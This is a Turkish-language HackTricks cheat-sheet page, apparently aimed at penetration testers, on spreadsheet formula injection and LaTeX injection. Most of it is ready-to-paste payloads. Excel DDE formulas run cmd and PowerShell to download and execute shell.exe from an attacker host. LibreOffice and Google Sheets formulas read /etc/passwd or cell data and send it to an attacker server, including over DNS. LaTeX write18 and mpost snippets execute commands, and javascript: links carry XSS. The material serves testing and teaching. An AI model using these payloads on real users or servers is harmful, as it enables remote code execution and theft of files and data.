12 KiB
Formül Enjeksiyonu
Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Try Hard Güvenlik Grubu
{% embed url="https://discord.gg/tryhardsecurity" %}
Formül Enjeksiyonu
Bilgi
Eğer girişiniz CSV dosyaları içinde yansıtılıyorsa (veya muhtemelen Excel tarafından açılacak başka bir dosya içinde), Excel formülleri ekleyebilirsiniz ki bu formüller dosyayı açan kullanıcı dosyayı açtığında veya Excel tablosu içindeki bir bağlantıya tıkladığında çalıştırılabilir olabilir.
{% hint style="danger" %} Günümüzde Excel, dışarıdan bir şey yüklendiğinde kullanıcıya (birkaç kez) uyarı verecektir ve onu kötü niyetli eylemlerden korumak için. Bu nedenle, son yük üzerinde Sosyal Mühendislikte özel çaba gösterilmelidir. {% endhint %}
Kelime Listesi
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve istenmeyen konumlara istek göndermek için çok kullanışlıdır. Ancak, kullanıcının bağlantıya tıklaması ve uyarıları kabul etmesi gerekmektedir.
Aşağıdaki örnek https://payatu.com/csv-injection-basic-to-exploit adresinden alınmıştır.
Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmektedir. Saldırganın temel amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmaktır. Saldırı, saldırganın kötü amaçlı bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için tasarlanmış alanlara zararlı formüller girmesini içerir. Saldırı şu şekilde gerçekleşir:
- Kötü Amaçlı Yükün Enjeksiyonu:
- Saldırgan bir öğrenci detay formu gönderir ancak bir elektronik tablolarda yaygın olarak kullanılan bir formülü içerir (örneğin,
=HYPERLINK("<kötü_link>","Buraya tıklayın")
). - Bu formül bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırganın kontrol ettiği kötü amaçlı bir sunucuya işaret eder.
- Tehdit Edilen Verilerin Dışa Aktarılması:
- Tehditin farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
- Açıldığında CSV dosyası hala kötü amaçlı yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür.
- Saldırının Tetiklenmesi:
- Bir öğretmen, bağlantıya tıklayarak, bunun öğrenci detaylarının meşru bir parçası olduğuna inanır.
- Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından detaylar içerebilir) saldırganın sunucusuna iletilir.
- Verilerin Kaydedilmesi:
- Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
- Saldırgan daha sonra bu verileri çeşitli kötü amaçlar için kullanabilir, öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atarak.
RCE
Daha fazla ayrıntı için orijinal yazıya bakın.
Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutların yürütülmesi için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir:
- Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Harici İçerik'e gidin ve Dinamik Veri Değişimi Sunucusu Başlatma'yı etkinleştirin.
Kötü amaçlı yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için yük şu şekilde olacaktır:
`=cmd|' /C calc'!xxx`
Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosyanın indirilip yürütülmesi:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LibreOffice Calc'ta Yerel Dosya Dahil Etme (LFI)
LibreOffice Calc, yerel dosyaları okumak ve veri dışa aktarmak için kullanılabilir. İşte bazı yöntemler:
- Yerel
/etc/passwd
dosyasından ilk satırı okuma:='file:///etc/passwd'#$passwd.A1
- Okunan verileri saldırganın kontrolündeki sunucuya dışa aktarma:
=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Birden fazla satırı dışa aktarma:
=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS dışa aktarma (okunan verileri saldırganın kontrolündeki DNS sunucusuna DNS sorguları olarak gönderme):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<saldırgan domain>"))
Out-of-Band (OOB) Veri Dışa Aktarma için Google Sheets
Google Sheets, OOB veri dışa aktarma için sömürülebilecek fonksiyonlar sunar:
- CONCATENATE: Dizeleri birleştirir -
=CONCATENATE(A2:E2)
- IMPORTXML: Yapılandırılmış veri türlerinden veri alır -
=IMPORTXML(CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: RSS veya ATOM beslemelerini içe aktarır -
=IMPORTFEED(CONCAT("http://<saldırgan IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: HTML tablolarından veya listelerinden veri alır -
=IMPORTHTML (CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Başka bir elektronik tablodan hücre aralığını içe aktarır -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Bir hücreye bir resim ekler -
=IMAGE("https://<saldırgan IP:Port>/images/srpr/logo3w.png")
LaTeX Enjeksiyonu
Genellikle LaTeX kodunu PDF'ye dönüştüren internet sunucuları genellikle pdflatex
kullanır.
Bu program, komut yürütme için 3 ana özelliği kullanır:
--no-shell-escape
:\write18{command}
yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile.--shell-restricted
:--shell-escape
ile aynıdır, ancak/usr/share/texmf/web2c/texmf.cnf
dosyasında Ubuntu 16.04'te 'güvenli' olarak belirlenmiş bir dizi önceden tanımlanmış komutlarla sınırlıdır.--shell-escape
:\write18{command}
yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır.
Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle Uzak Kod Yürütme'yi önlemek için --shell-restricted
kullanmak çok önemlidir.
Dosya Okuma
Enjeksiyonu [ veya $ gibi sarmalayıcılarla ayarlamak gerekebilir.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Tek satırlı dosya okuma
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Birden fazla satırlı dosya okuma
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Dosya yazma
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Komut yürütme
Komutun girdisi stdin'e yönlendirilecek, bunu almak için geçici bir dosya kullanın.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan elde etmek için base64 kullanmayı düşünebilirsiniz.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
@EdOverflow tarafından.
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Enjeksiyonu
Kontrol Edin https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referanslar
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te tanıtmak veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'i keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.